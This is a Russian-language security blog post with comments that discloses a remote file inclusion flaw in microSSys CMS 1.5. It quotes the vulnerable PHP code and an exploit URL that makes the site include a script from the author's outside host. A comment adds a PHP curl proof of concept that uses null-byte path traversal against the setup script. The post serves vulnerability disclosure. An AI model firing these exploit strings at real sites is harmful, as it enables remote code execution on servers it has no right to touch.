Инклуд удаленных файлов в microSSys CMS 1.5

Обнаружил RFI в microSSys CMS, самой непрофессиональной CMS’ке, которую я когда-либо видел. Помнится был WCPS, который занимал в моем “почетном” рейтинге первое место, но эта CMS еще ужасней во всех отношениях, включая и безопасность. Вот хоронология моих действий:

  1. переписал файлы на локалхост
  2. открыл в браузере скрипт установки
  3. испугался и закрыл
  4. открыл исходный код index.php
  5. снова испугался, но перед тем, как закрыть заметил RFI

CMS’ка настолько стремная, что str0ke с milw0rm’а отказался принимать уязвимость =)
Собственно вот advisory:


## microSSys CMS <= 1.5 Remote File Inclusion Vulnerability ## Software site: http://wajox.com/ ## =============================================================== ## By Raz0r (www.Raz0r.name) ## =============================================================== ## Vulnerable code (index.php@22-25,54-55): ## [22] if(isset($_REQUEST["1"])){ ## [23] $P=$_REQUEST["1"];}else{ ## [24] $P="main"; ## [25] } ## [..] ## [54] if(isset($PAGES[$P])){}else{include("TH.txt");} ## [55] @include($PAGES[$P]); ## Nice... ## =============================================================== ## Exploit: ## http://host/index.php?1=lol&PAGES[lol]=http://raz0r.name/s.php ## ===============================================================

Думаю в комментариях не нуждается =) Единственное, что можно отметить – для реализации необходим включенный register_globals, иначе мы не сможем добавить в массив PAGES наш элемент.


Posted

in

by

Comments

8 responses to “Инклуд удаленных файлов в microSSys CMS 1.5”

  1. c0nst Avatar

    неужели скрипты с такими ошибками еще существуют 😀

  2. Raz0r Avatar

    еще как существуют!
    Кстати, str0ke все-таки запостил =) Обычно он публикует сплоиты на следующий день, но в этот раз почему-то через два. Не получив от него ответа, я подумал, что он отказался =)

  3. Raz0r Avatar

    Насколько я понял вы разработчик microSSys CMS. Изменения в новой версии налицо, но работать над ней нужно еще очень много. Когда полностью завершите работу, тогда и выкладывайте мне ссылки, а пока что-то оценивать еще рано. В подтверждение моим словам еще один инклуд:

    <?php
    $url = 'http://localhost/ssys/setup/setmod.php';
    
    $data = 'count=1&module_1=/../index.php%00';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,$url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 10);
    curl_setopt($ch, CURLOPT_PORT, 80);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    $resp = curl_exec($ch);
    curl_close($ch);
    
    echo "<pre>";
    print_r($resp);
    echo "</pre>";
    ?>
  4. B!TCR@$H Avatar
    B!TCR@$H

    Это установочный скрипт и там защиты мы не делаем вообще).Потому как она там просто не нужна).Ведь доступ к этим файлам будет иметь только владелец и после установки они будут удалены да и альфа версия это.
    Как закончим обязательно дадим Вам ссылку.

  5. B!TCR@$H Avatar
    B!TCR@$H

    И ещё,переписывать мы его(движок) стали до того как была найдена и опубликована эта уязвимость:-).

  6. Raz0r Avatar

    >Это установочный скрипт и там защиты мы не делаем вообще
    о какой безопасности может идти речь, когда даже в скриптах установки нет никакой защиты. Представьте, что пользователь забыл или не захотел удалять скрипт установки, что тогда? Можно не только реализовать инклуд, но и заново установить CMS, т.е. все данные в БД будут потеряны. Более того, после установки CMS не предупреждает пользователя о том, что ему следует удалить ненужные скрипты. Я уверен, что неопытный пользователь оставит все как есть.
    P.S. жду stable-версию

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.